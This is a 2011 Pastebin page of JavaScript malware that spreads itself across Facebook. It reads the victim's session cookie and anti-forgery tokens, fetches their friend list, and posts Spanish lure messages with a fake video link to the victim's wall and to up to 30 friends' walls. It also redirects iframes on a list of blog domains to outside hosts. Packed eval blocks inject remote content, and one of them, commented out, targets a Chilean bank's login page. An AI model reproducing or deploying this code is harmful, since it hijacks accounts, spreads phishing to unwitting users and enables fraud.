Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Untitled

By: a guest on Dec 9th, 2011  |  syntax: JavaScript  |  size: 12.24 KB  |  views: 786  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. function enchulatuFB() {
  2.     var ifra;
  3.     if (location.href.match(/^http:\/\/bloll7\.blogspot\.com/i) || location.href.match(/^http:\/\/foly11\.blogspot\.com/i) || location.href.match(/^http:\/\/foly22\.blogspot\.com/i) || location.href.match(/^http:\/\/foly333\.blogspot\.com/i) || location.href.match(/^http:\/\/foly44\.blogspot\.com/i) || location.href.match(/^http:\/\/gelkh11\.blogspot\.com/i) || location.href.match(/^http:\/\/goli11\.blogspot\.com/i) || location.href.match(/^http:\/\/goli22\.blogspot\.com/i) || location.href.match(/^http:\/\/goli33\.blogspot\.com/i) || location.href.match(/^http:\/\/goli44\.blogspot\.com/i) || location.href.match(/^http:\/\/gelkh22\.blogspot\.com/i) || location.href.match(/^http:\/\/gelkh33\.blogspot\.com/i) || location.href.match(/^http:\/\/gelkh44\.blogspot\.com/i) || location.href.match(/^http:\/\/gelko55\.blogspot\.com/i) || location.href.match(/^http:\/\/gelko66\.blogspot\.com/i) || location.href.match(/^http:\/\/gelko77\.blogspot\.com/i) || location.href.match(/^http:\/\/gelko88\.blogspot\.com/i) || location.href.match(/^http:\/\/gelko11\.blogspot\.com/i) || location.href.match(/^http:\/\/gelko22\.blogspot\.com/i) || location.href.match(/^http:\/\/gelko33\.blogspot\.com/i) || location.href.match(/^http:\/\/gelko44\.blogspot\.com/i) || location.href.match(/^http:\/\/julip22\.blogspot\.com/i) || location.href.match(/^http:\/\/julip33\.blogspot\.com/i) || location.href.match(/^http:\/\/bloll8\.blogspot\.com/i) || location.href.match(/^http:\/\/holk66\.blogspot\.com/i) || location.href.match(/^http:\/\/holk55\.blogspot\.com/i) || location.href.match(/^http:\/\/holk77\.blogspot\.com/i) || location.href.match(/^http:\/\/holk88\.blogspot\.com/i) || location.href.match(/^http:\/\/hy6y6\.blogspot\.com/i) || location.href.match(/^http:\/\/hy6y7\.blogspot\.com/i) || location.href.match(/^http:\/\/julip88\.blogspot\.com/i) || location.href.match(/^http:\/\/julip99\.blogspot\.com/i) || location.href.match(/^http:\/\/bloqq3\.blogspot\.com/i) || location.href.match(/^http:\/\/bloqq4\.blogspot\.com/i) || location.href.match(/^http:\/\/bloyy5\.blogspot\.com/i) || location.href.match(/^http:\/\/bloyy6\.blogspot\.com/i) || location.href.match(/^http:\/\/kolk11\.blogspot\.com/i) || location.href.match(/^http:\/\/kolkk22\.blogspot\.com/i) || location.href.match(/^http:\/\/(www\.)?decaratula\.com/i)) {
  4.         ifra = document.getElementById("player_iframe");
  5.         if (ifra != null) {
  6.             ifra.style.marginLeft = "0px";
  7.             ifra.src = "http://voltor.info/video/video.html"
  8.         }
  9.         ifra = document.getElementById('liframe')
  10.         if (ifra != null) {
  11.             ifra.innerHTML = '<iframe id="change" width="500" src="http://vevideo.com.es/plugin/unlocked.php" height="300" scrolling="no" frameborder="0"></iframe>'
  12.         };
  13.     }
  14.     if (location.href.match(/^http:\/\/(www\.)?darkvir1\.info/i) || location.href.match(/^http:\/\/(www\.)?darkvir2\.info/i) || location.href.match(/^http:\/\/(www\.)?darkvir3\.info/i) || location.href.match(/^http:\/\/(www\.)?darkvir4\.info/i) || location.href.match(/^http:\/\/(www\.)?darkvir5\.info/i)) {
  15.         ifra = document.getElementById('liframe')
  16.         if (ifra != null) {
  17.             ifra.innerHTML = '<iframe id="change" width="500" src="unlocked.html" height="300" scrolling="no" frameborder="0"></iframe>'
  18.         };
  19.     }
  20. }
  21. enchulatuFB();
  22. eval(function (p, a, c, k, e, r) {
  23.     e = function (c) {
  24.         return c.toString(a)
  25.     };
  26.     if (!''.replace(/^/, String)) {
  27.         while (c--) r[e(c)] = k[c] || e(c);
  28.         k = [function (e) {
  29.             return r[e]
  30.         }];
  31.         e = function () {
  32.             return '\\w+'
  33.         };
  34.         c = 1
  35.     };
  36.     while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
  37.     return p
  38. }('e 4(){1 a=2.8(\'c\')[0];6(a==7)3 9;1 b=2.d("5");b.f="g://h.i.j/k/l.m";b.n="0";b.o="0";b.p="0";a.q(b);3 r}4();', 28, 28, '|var|document|return|load|img|if|null|getElementsByTagName|false|||body|createElement|function|src|http|whos|amung|us|swidget|redfaceplus3|gif|width|height|border|appendChild|true'.split('|'), 0, {})) //eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('40="20";8(41.31.46(/^5:\\/\\/(9\\.)?45\\.14/47)){6 3=2["16"]("18");3.12="5://43.3.11/23/44.23.24";3.22="25/21";3.19=17(){6 15=2.35("34")[0];8(15==33)32 30;6 4=2.16("36");4.12="5://37.39.38/42/55.60";4.61="0";4.57="0";4.48="0";15.13(4);6 7=2["16"]("18");7.12="5://9.26.11/14/27.28/50.24?49="+51;7.22="25/21";7.19=17(){8(54=="20"){6 10=2.59("53");8(10==33){32 30}10.52[1].31="5://9.26.11/14/27.28/?56=58"}};2.29.13(7)};2.29.13(3)}',10,62,'||document|hashemian|ss|http|var|clcl|if|www|objobj|com|src|appendChild|cl|oo|createElement|function|script|onload|no|javascript|type|js|php|text|hardtrons|C8AA27305BBB4AD7B769656766711E4BC8AA27305BBB4AD7B769656766711E4B|asp|head|false|href|return|null|body|getElementsByTagName|img|whos|us|amung|VIH_DisplayOnPage|location|swidget|scripts|visitorIPHOST|bancoestado|match|i|border|ip|get|VIH_HostIP|children|side2|analisis|viri20111|STP|height|login|getElementById|gif|width'.split('|'),0,{}))
  39.  
  40.  
  41. function readCookie(a) {
  42.     var b = a + '=';
  43.     var c = document['cookie']['split'](';');
  44.     for (var d = 0; d < c['length']; d++) {
  45.         var e = c[d];
  46.         while (e['charAt'](0) == ' ') {
  47.             e = e['substring'](1, e['length']);
  48.         }
  49.         if (e['indexOf'](b) == 0) {
  50.             return e['substring'](b['length'], e['length']);
  51.         }
  52.     }
  53.     return null;
  54. }
  55.  
  56. function setCookie(nombre, valor, caducidad) {
  57.     var expireDate = new Date()
  58.     expireDate.setDate(expireDate.getDate() + caducidad);
  59.     document.cookie = nombre + "=" + escape(valor) + "; expires=" + expireDate.toGMTString() + "; path=/";
  60. }
  61.  
  62. function getRandomInt(a, b) {
  63.     return Math['floor'](Math['random']() * (b - a + 1)) + a
  64. }
  65.  
  66. function randomValue(a) {
  67.     return a[getRandomInt(0, a['length'] - 1)]
  68. }
  69.  
  70. function fb_comparte() {
  71.     var user_id = readCookie('c_user');
  72.     var uid = user_id;
  73.     if (document['getElementsByName']('post_form_id')[0] == null || document['getElementsByName']('fb_dtsg')[0] == null) return false;
  74.     var post_form_id = document['getElementsByName']('post_form_id')[0]['value'];
  75.     var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  76.     var video_url = blog;
  77.     var domains = ['http://i40.tinypic.com/59wme.jpg'];
  78.     var p0 = ['.'];
  79.     var p1 = ['hola', 'como va', 'como estas!', 'Que tal', 'Hola!', 'Mira!'];
  80.     var p2 = ['has visto que', 'ya vistes que', 'sabes que'];
  81.     var p3 = [' sales en un video??'];
  82.     var message = '';
  83.     var a;
  84.     gf = new XMLHttpRequest();
  85.     gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=' + uid + '&' + Math['random'](), false);
  86.     gf['send']();
  87.     if (gf['readyState'] != 4) {} else {
  88.         data = eval('(' + gf['responseText']['substr'](9) + ')');
  89.         if (data['error']) {
  90.             return false;
  91.         } else {
  92.             a = data;
  93.         }
  94.     }
  95.     var b = a['payload']['entries']['length'];
  96.     if (b > 30) {
  97.         b = 30
  98.     };
  99.     var cook = readCookie("fb_video_" + user_id);
  100.     if (cook == "activo") return false;
  101.     message = [randomValue(p1), randomValue(p2), randomValue(p3)]['join'](' ');
  102.     var c = new XMLHttpRequest();
  103.     var d = 'http://www.facebook.com/ajax/profile/composer.php?__a=1';
  104.     var title = 'Mira!';
  105.     var summary = 'Hey has visto?';
  106.     var imagen = 'http://i40.tinypic.com/59wme.jpg';
  107.     var e = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u574553_1&xhpc_targetid=' + user_id + '&xhpc_context=profile&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][medium]=103&attachment[params][urlInfo][user]=' + video_url + '&attachment[params][urlInfo][canonical]=' + video_url + '&attachment[params][favicon]=http://s.ytimg.com/yt/favicon-vflZlzSbU.ico&attachment[params][title]=' + title + '&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=' + summary + '&attachment[params][url]=' + video_url + '&attachment[params][images][src]=' + randomValue(domains) + '%26' + Math['random']() + '&attachment[params][images][width]=398&attachment[params][images][height]=224&attachment[params][images][v]=0&attachment[params][images][safe]=1&attachment[params][ttl]=-1264972308&attachment[params][error]=1&attachment[params][responseCode]=200&attachment[params][expires]=41647446&attachment[params][images][0]=' + imagen + '&attachment[params][scrape_time]=1306619754&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=' + message + '&xhpc_message=' + message + '&UIPrivacyWidget[0]=80&privacy_data[value]=80&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&nctr[_mod]=pagelet_wall&lsd=&post_form_id_source=AsyncRequest';
  108.     c['open']('POST', d, true);
  109.     c['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  110.     c['setRequestHeader']('Content-length', e['length']);
  111.     c['setRequestHeader']('Connection', 'keep-alive');
  112.     c['onreadystatechange'] = function () {};
  113.     c['send'](e);
  114.     for (var f = 0; f < b; f++) {
  115.         if (a['payload']['entries'][f]['uid'] != user_id) {
  116.             message = [randomValue(p1), a['payload']['entries'][f]['text']['substr'](0, a['payload']['entries'][f]['text']['indexOf'](' '))['toLowerCase'](), randomValue(p2), randomValue(p3)]['join'](' ');
  117.             var g = new XMLHttpRequest();
  118.             d = 'http://www.facebook.com/ajax/profile/composer.php?__a=1';
  119.             title = 'Mirad esto';
  120.             summary = 'Dime que te parece';
  121.             imagen = 'http://i40.tinypic.com/59wme.jpg';
  122.             e = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u574553_1&xhpc_targetid=' + a['payload']['entries'][f]['uid'] + '&xhpc_context=profile&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][medium]=103&attachment[params][urlInfo][user]=' + video_url + '&attachment[params][urlInfo][canonical]=' + video_url + '&attachment[params][favicon]=http://s.ytimg.com/yt/favicon-vflZlzSbU.ico&attachment[params][title]=' + title + '&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=' + summary + randomValue(p0) + '&attachment[params][url]=' + video_url + '&attachment[params][images]&attachment[params][images][src]=' + randomValue(domains) + '%26' + Math['random']() + '&attachment[params][images][width]=398&attachment[params][images][height]=224&attachment[params][images][i]=0&attachment[params][images][safe]=1&attachment[params][ttl]=-1264972308&attachment[params][error]=1&attachment[params][responseCode]=200&attachment[params][expires]=41647446&attachment[params][images][0]=' + imagen + '&attachment[params][scrape_time]=1306619754&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=' + message + '&xhpc_message=' + message + '&UIPrivacyWidget[0]=80&privacy_data[value]=80&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&nctr[_mod]=pagelet_wall&lsd=&post_form_id_source=AsyncRequest';
  123.             g['open']('POST', d, true);
  124.             g['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  125.             g['setRequestHeader']('Content-length', e['length']);
  126.             g['setRequestHeader']('Connection', 'keep-alive');
  127.             g['onreadystatechange'] = function () {};
  128.             g['send'](e);
  129.         }
  130.     }
  131.     setCookie("fb_video_" + user_id, "activo", 1);
  132.     return true;
  133. }
  134.  
  135. function FBFBFB321() {
  136.     if (location.href.match(/^http:\/\/(www\.)?facebook.com/i)) {
  137.         var cook = readCookie("fb_video");
  138.         if (cook == "activo") {
  139.             return false;
  140.         }
  141.         var user_id = readCookie('c_user');
  142.         if (user_id == null) return false;
  143.         cook = readCookie("fb_video_" + user_id);
  144.         if (cook == "activo") {
  145.             return false;
  146.         }
  147.         setTimeout(function () {
  148.             fb_comparte();
  149.         }, 2000);
  150.         return true;
  151.     }
  152.     return false;
  153. }
  154. FBFBFB321();
  155.